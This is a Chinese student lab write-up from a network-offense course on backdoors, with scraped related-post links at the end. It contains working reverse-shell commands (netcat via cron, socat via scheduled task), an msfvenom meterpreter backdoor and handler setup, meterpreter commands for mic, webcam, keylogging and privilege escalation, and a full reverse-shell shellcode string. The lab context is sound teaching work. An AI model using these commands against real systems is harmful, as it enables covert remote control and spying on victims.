Exp2 后门原理与实践

前期准备


一、实验目标与基础知识

1.1 实践目标

  • 使用netcat获取主机操作Shell,cron启动

  • 使用socat获取主机操作Shell,任务计划启动

  • 使用MSF  meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

1.2 基础知识

1. 什么是后门?

后门是指绕过安全性控制而获取对程序或系统访问权的方法。

2. 常用后门工具

Netcat:它是一个底层工具,在网络工具中有“瑞士军刀”的美誉,进行基本的 TCP、UDP 数据收发。常被与其他工具结合使用,起到后门的作用。

Socat:它是 Linux 下的一个多功能的网络工具,名字来由是 Socket CAT,功能与 Netcat 相似,可以看做是 Netcat 的加强版。

Meterpreter:它是 Metasploit 框架中功能强大的后渗透模块。可以通过 Meterpreter 的客户端执行攻击脚本,远程调用目标主机上运行的 Meterpreter 服务端。

PowerSpoit:基于 PowerShell 的后门集成框架。需要 .Net 环境支持。

InterSect:是一个后渗透完成多种后期任务的Python程序。它能够自动收集密码文件和网络信息,并且能够识别杀毒软件和防火墙程序。

Weevely:是一款功能强大的PHP后门工具,它使用HTTP协议包头部进行指令传输。它的使用非常简单,但仅支持php语言。

二、软件下载 & 功能测试

2.1在windows下载 Netcat & Socat

从老师所给指导的附件里下载 Netcat 与 Socat 文件,在本机解压后放置到相应的文件夹。

这里我把 Netcat 文件夹放置到了系统文件目录里,即 C 盘里的 system32 目录,放置在这里有个好处就是我们使用 cmd 运行 Netcat 的命令时,不必在原本下载的目录里运行,也不必以 ncat.exe 的形式运行,直接 cmd 打开输入 ncat 就能跑,虽然也节省不了多少时间。

在本机命令行里直接输入 ncat ,若能返回提示需指定要连接的主机,则说明 Netcat 载入好了。同理,运行 socat.exe ,返回相关提示即可。

2.2 Win获得 Linux Shell

在 Windows 的 cmd 中使用 ipconfig 查看本机 ip 地址,发现 Windows 端 ip 为192.168.0.105

Windows 端继续,使用 ncat 程序监听本机的 4318 端口号,输入 ncat -l -p 4318 ,l 指 listen ,即监听

接下来,在 kali 中反弹连接 Windows 的 4318 端口,ncat 192.168.0.105 4318 -e /bin.sh,使用 -e 选项执行shell程序

返回 Winodws 端的命令行,发现 kali 机被攻击成功,在 Windows 中获取了 kali 的 shell

2.2 Linux 获得 Windows Shell

在 kali 的终端中输入 ifconfig 查看 Linux 端 ip 地址,发现 ip 为 192.168.0.106

kali 中终端输入 nc -l -p 4318 ,监听本机 4318 端口

在 Windows 中反弹连接 kali 的 4318 端口,ncat 192.168.0.106 4318 -e /bin.sh,这里的 ip 地址应为 kali 机的 ip

返回 kali 的终端,发现 Windows 机被攻击成功,在 kali 中获取了 Windows 的 shell

2.3 使用 Ncat 传输数据

在安装了 Netcat 的主机里,都可以进行连接,这里我们选择 kali 连接到 Windows

首先在 Windows 下监听 4318 端口,输入 ncat -l 4318

kali 反弹连接到 Windows 的 4318 端口 ,终端输入 nc 192.168.0.105 4318 ,这里的 ip 地址为 Win 端的

等待小会儿后,连接成功,双方可以进行相互通信

2.4 使用 Ncat 传输文件

连接的双方,同样可以进行文件的传输,我们选择把文件从 kali 传到 Windows

首先,Windows 端监听本机 4318 端口,并把收到的数据保存到 file1.out 中,cmd 中输入ncat -l 4318 > file1.out

接下来,kali 反弹连接到 Windows (ip)的 4318 端口,并将 kali 端的文件 file1.in 传输过去,终端输入 nc 192.168.0.105 4318 < file1.in

返回 Windows 端,在文件夹中若能找到文件 file1.out ,表明接收成功

实验步骤


一、使用 Netcat 获取主机操作 Shell ,cron 启动

Step

    • Windows cmd 内输入ncat -l -p 4318
    • kali 终端里输入crontab -e
    • 在编辑器内按 i 进入添加状态,在最后一行添加 43 * * * * /bin/netcat 192.168.0.105 4318 -e /bin/sh

详细解析:

首先,在 Windows 端内监听本机的 4318 端口,输入ncat -l -p 4318 后该命令行窗口进入监听状态

接下来,在 kali 端内编辑一条定时任务,终端输入 crontab -e ,这里 crontab 表示增加一条定时任务,-e 表示进入编辑状态

在选择了 vim 编辑器进行编辑后,进入 vim 端,在最后一行添加 43* * * * /bin/netcat 192.168.0.105 4318 -e /bin/sh意思是,每个小时的第 43 分钟反向连接 Windows 主机的 4318 端口

等待 1 分钟到了 43 分后,我们就发现此时 Windows 已经获取了 kali 的 Shell

二、使用 Socat 获取主机操作 Shell ,任务计划启动

Step

    • Win+R 输入 compmgmt.msc
    • 在任务计划程序中创建任务并设置触发器、新建任务操作
    • 实施之前所设置的触发器
    • kali 端输入指令socat - tcp:192.168.0.105:4318

详细解析:

首先,Windows端键盘点击Win+R 输入 compmgmt.msc 打开“计算机管理”

在「任务计划程序」中点击「创建任务」

填写新建任务的名称,并新建一个触发器

在操作->新建->程序或脚本中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:4318 exec:cmd.exe,pty,stderr,这个命令的作用是把 cmd.exe 绑定到端口 4318 ,同时把 cmd.exe 的 stderr 重定向到 stdout 上

创建完毕后,新建任务进入准备状态

然后,实施我们的触发条件,锁定 Windows 计算机,再次打开计算机时,我们创建的任务就已经开始运行了,此时会弹出一个 cmd 窗口,表明 socat 程序开始运行。

切换到 kali 中输入输入指令 socat - tcp:192.168.0.105:4318,这里的第一个参数-代表标准的输入输出,第二个流连接到 Windows 主机的 4318 端口,此时可以发现已经成功获得了 cmd shell

三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

Step

    • kali 终端内输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4318 -f exe > 20174318_backdoor.exe
    • Windows端输入 ncat -lv 4318 > 20174318_backdoor.exe
    • 在Linux中执行 nc 192.168.0.105 4318 < 20174318_backdoor.exe
    • kali 端输入指令 msfconsole
    • 依次输入以下指令
      • use exploit/multi/handler
      • set payload windows/meterpreter/reverse_tcp
      • set LHOST 192.168.0.106
      • set LPORT 4318
      • exploit
    • Windows 下运行 20174318_backdoor.exe

详细解析: 

首先,在 kali 内生成后门程序,并设定为控制端,在终端输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4318 -f exe > 20174318_backdoor.exe, ip 地址为控制端的 ip

接着,在 Windows 通过 ncat.exe -lv 4318 > 20174318_backdoor.exe 指令使本机进入接受文件模式

在 kali 中执行 nc 192.168.0.105 4318 < 20174318_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP,将后门程序传送过去

Windows 接收程序成功

之后,在kali上使用 msfconsole 指令进入msf控制台,并依次输入以下指令

    • 输入use exploit/multi/handler使用监听模块,设置 payload
    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的 payload
    • set LHOST 192.168.0.106,这里用的是 kali 的 ip,和生成后门程序时指定的 ip 相同
    • set LPORT 4318,同样要使用相同的端口

设置完成之后,输入指令exploit执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

Step

    • 输入 record.mic
    • 输入 webcam_snap
    • 输入 keyscan.start & keyscan_dump
    • 输入 screenshot 
    • 输入 getuid & getsystem 

详细解析:

使用 record_mic 指令可以截获一段音频

使用webcam_snap指令可以使用摄像头进行拍照

使用keyscan_start 指令记录下击键的过程,keyscan_dump 指令读取击键记录

使用screenshot指令可以进行截屏

使用 getuid 指令可以查看当前用户,getsystem 指令进行提权操作,但未实现

五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

Step

    • 在 kali 终端里注入 shellcode
    • 参照实验一步骤三找到 shellcode 起始位置
    • 修改 shellcode
    • 在另一终端中打开 msfconsole ,与步骤三一样操作打开监听
    • 返回原来终端输入:(cat input1;cat) | ./pwn1

详细解析:

在测定可以用的 shellcode 网站中找到一个基于 linux/x86 平台的shellcode代码,将里面的机械码复制出来。

原始代码如下:

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"

为了找到 shellcode 的起始地址,我们参照实验一的做法,首先基于该原始代码,注入一段用于查找的 shellcode

经过实验一中 gdb 、反汇编等一系列操作后,我们找到了 0x90\0x90\0x90\0x90 的位置

从而计算出该 shellcode 的起始位置为 0xffffd1c0 ,接下来只需修改 shellcode 的代码即可

然后,在另一个终端中打开 msfconsole ,并打开监听,参照步骤三的过程,依次输入以下指令

  • use exploit/multi/handler
  • set payload linux/x86/shell_reverse_tcp
  • set LHOST 127.0.0.1
  • set LPORT 4444
  • exploit

其中,LHOST 和 LPORT 都是根据网上下载的可用的 shellcode 的标注填写的

最后,在原本的终端里输入指令:(cat input_shellcode;cat) | ./pwn1,按下回车键后开始运行,在另一个终端中就发现注入的shell开始运行了

实验总结


一、基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

『后门可能会通过网页挂马的方式,当我们点击不安全的网页链接时,自动跳转并下载在我们主机,然后隐藏在系统自启动目录里』

(2)例举你知道的后门如何启动起来( win 及 linux )的方式?

『 win:通过点击钓鱼网站链接;添加自启动代码,每次开机自启

linux:通过本实验中的 crontab 命令设置定时或其他触发器启动』

(3)Meterpreter有哪些给你映像深刻的功能?

『能够抓拍、录入声音、截图、获取键盘输入记录给我留下了深刻的印象,这些都是能极度威胁我们隐私的行为,让我觉得没有安全可言』

(4)如何发现自己有系统有没有被安装后门?

『利用 netcat 查看有没有开放异常的端口;系统杀毒软件的检测提示;任务管理器查看异常进程』

二、实验总结与体会

本次实验做起来就和大二上学期的信息安全概论实验一样,通过指令在两个终端内随意传输数据、文件,让人觉得计算机系统没有安全可言,虽然实验中都是我们自己操作被攻击方运行攻击方的程序,但也给我提了一个醒,因为实施攻击的人总是会千方百计的让你去运行它的恶意程序,后门就是一个不容易引起我们注意的方式,所以我们得在强化自身防范意识的同时,增强自身相关的知识积累,说不定什么时候就能派上用场了。

与实验一比起来,本次实验遇到了更多的问题,但好在都是比较常见的,参考老师的演译视频与其他同学的博客以及网上的资料,成功的完成了本次实验,下面我就来分享一下我所遇到的问题。

  • Netcat 只能单方向连接

在刚安装好 netcat 时,进行 Windows 获得 Linux Shell 测试时,Win 端的 cmd 进入监控状态后,kali 端反弹连接始终无法成功,Linux 的 nc 返回 TIMEOUT 的错误,与老师视频或其他同学的错误目标主机积极拒绝不同。但是我反过来试让Linux 获取 Windows Shell 却能成功,我尝试着关闭了 Windows 主机的防火墙与杀毒软件,但都未遂;不知所措的我开始了下一步操作,让 Windows 和 Linux 建立连接传数据,结果 Linux监听, Windows 反弹连接能通信成功,换成Windows端监听, Linux 端去反弹又不能成功了。我便怀疑是不是 Windows 端的 ip 地址错误、端口没有打开或者 Linux 端防火墙给阻断了,操作了一通后最终解决了这个问题,只不过我也不清楚到底是哪一步操作把它给弄好了。(Linux 端反弹连接错误忘截图了,大概是输入「nc 192.168.0.105  4318  -e  /bin/sh」终端返回「nc: TIMEOUT」)

  • msfconsole 指令无法打开 msf

问题如上所示,与其他大部分同学无法启动 msf 的返回错误不同,它给我的返回信息时让我下载 bundler ,照着它的要求我试着下载了 bundler(apt-get install bundler 步骤未截图,自动更新到了 bundler 2.1.3),结果出现了新的问题

巴拉巴拉一大堆,让我 root 模式不要运行 bundler,不明所以的我只好寻求网络的帮助,给的建议是下载 bundler 1.17.3 版本

结果这样就成功了

  • 使用 MSF 生成的 Shellcode 注入到 pwn1 运行后返回段错误

这个错误犯得特别低级,我默认以为这一段 Shellcode 的起始地址就是我第一次实验时的那一段 Shellcode 的地址,直接就填上去了,试了好几次发现返回都是段错误,才意识到哪儿错了。

2019-2020-3 20174318张致豪《网络对抗技术》Exp2 后门原理与实践的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20145331魏澍琛《网络对抗》Exp2 后门原理与实践

    20145331魏澍琛<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 上网时候弹出一个广告说你中奖了,或者你可以贷款10万元之类 ...

  3. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  4. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  5. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  6. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  7. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  8. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  9. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

  10. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

随机推荐

  1. [C#] 动态指定泛型类型

    前言 今天为了程序能写好看一点,一直在纠结怎么指定动态泛型, 但是想想实用性好像不太大,可是把这技术忘掉太可惜XD 还是记录下来,以防忘记 以下程序范例 类 cs 123456789101112131 ...

  2. sklearn包源码分析(一)--neighbors

    python如何查看内置函数的用法及其源码? 在anaconda的安装目录下,有一块会放着我们安装的所有包,在里面可以找到所有的包 找到scikit learn包,进入 这里面又有了多个子包,每个子包 ...

  3. AndroidP推出多项AI功能,会不会引发新的隐私担忧?

    让谷歌很"伤心"的是,相比苹果iOS系统的统一,Android系统的碎片化态势实在太严重了.就像已经发布一年多的Android O,其占有率仅有4.6%.主要是因为很多手机厂商都会 ...

  4. vuex分模块管理

    1.定义命名空间 dog.js export default { namespaced: true, // 局部状态 state: { name: "拉布拉多", age: 1 } ...

  5. Android开发之《制作自己的su文件》

    目录结构  ─ hello ├── jni ├── Android.mk └── hello.c 编译步骤: # cd hello # export NDK_PROJECT_PATH=`pwd` # ...

  6. VS自身的单元测试方法DEMO

    ///用来修饰测试类 [TestClass()] public class Program { private TestContext testContextInstance; /// <sum ...

  7. Dockfile自动创建discuz论坛和可道云

    将discuz论坛的zip包解压之后用tar包压缩,这样ADD可以直接解压tar包. [root@localhost centos6.9_ssh_discuz]# pwd /opt/dockerfil ...

  8. 那些被刻意“阉割”的名人名言

    "天才是百分之一的灵感,百分之九十九的汗水",这句名言大家都知道的吧!不过还有好多人不知道的是这句名言还有后半句:"但百分之一的灵感甚至比百分之九十九的汗水更重要.&qu ...

  9. 从又一家外卖被Uber收购,看美团打车未来

    别以为Uber在中国失利,连优步中国都被滴滴收购了,就认为Uber已经不行了.其实从全球范围内来看,Uber还是相当强势的--创始人的那些破事儿不算在内.此外,更重要的是Uber已经不单单是在打车业务 ...

  10. mongodb 4.0配置认证模块

    use admin db.createUser({user:"root",pwd:"xxx",roles:[{role:"root",db: ...